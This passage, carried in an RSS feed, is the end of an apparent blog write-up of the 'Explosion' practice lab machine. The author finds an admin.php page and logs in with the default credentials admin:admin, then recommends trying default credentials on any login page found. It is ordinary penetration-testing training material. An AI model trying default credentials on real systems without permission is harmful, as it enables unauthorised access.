‘[/admin.php’] directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*XKRVi7ICNq3-lf05IrwENA.png" /></figure><ul><li>after navigating and finding everything about the page, i also did try [view source code ] and try visit [robot.txt] page and found nothing.. but i much to try a well known default crendentials to log in which was [admin:admin] and it worked!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*s3ivResBc5pbHPRLx6GSNQ.png" /></figure><p>Lessons and takeaway from this Machine:</p><p>The lessons i gained from the starting-point machine called [Explosion], is that is always a good practices to research and try default credentials just in plenty scenarios we discovered logins pages, admin login pages .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d81bd2154ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>